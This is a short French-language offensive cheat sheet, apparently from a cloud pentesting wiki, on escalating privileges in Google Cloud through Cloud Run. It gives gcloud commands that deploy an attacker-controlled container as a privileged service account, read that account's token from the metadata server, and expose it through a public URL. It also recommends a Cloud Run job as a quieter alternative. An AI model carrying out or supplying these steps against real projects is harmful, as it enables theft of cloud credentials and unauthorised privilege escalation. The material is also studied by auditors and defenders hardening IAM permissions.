Avec run.services.create (ou run.jobs.create) et actAs sur un compte de service, vous déployez un conteneur qui s'exécute en tant que ce compte. Pointez-le vers une image que vous contrôlez et lisez le jeton depuis le serveur de métadonnées à l'intérieur du conteneur.
Déployer un service en tant que compte privilégié#
gcloud run deploy pwn --image=gcr.io/<your-project>/leak --region=<region> \
--service-account=<privileged-sa>@<project>.iam.gserviceaccount.com --allow-unauthenticated
# the container fetches the token:
# curl -H "Metadata-Flavor: Google" \
# http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
curl "$(gcloud run services describe pwn --region=<region> --format='value(status.url)')"
Une tâche Cloud Run est l'équivalent batch plus discret (gcloud run jobs create ... --execute-now) lorsque vous ne voulez pas d'URL publique.
Notes d'exploitation#
- L'image peut résider dans votre propre projet si le compte de déploiement peut la récupérer ; sinon, poussez-la vers un dépôt que le projet cible peut lire.
--service-accountexerceactAs; omettez-le et le service s'exécute en tant que compte Compute par défaut.- Les Cloud Functions Gen2 sont des services Cloud Run, les deux chemins convergent donc.
Outils#
- gcloud (
run deploy,run jobs create,run services describe) : déployer et atteindre le service.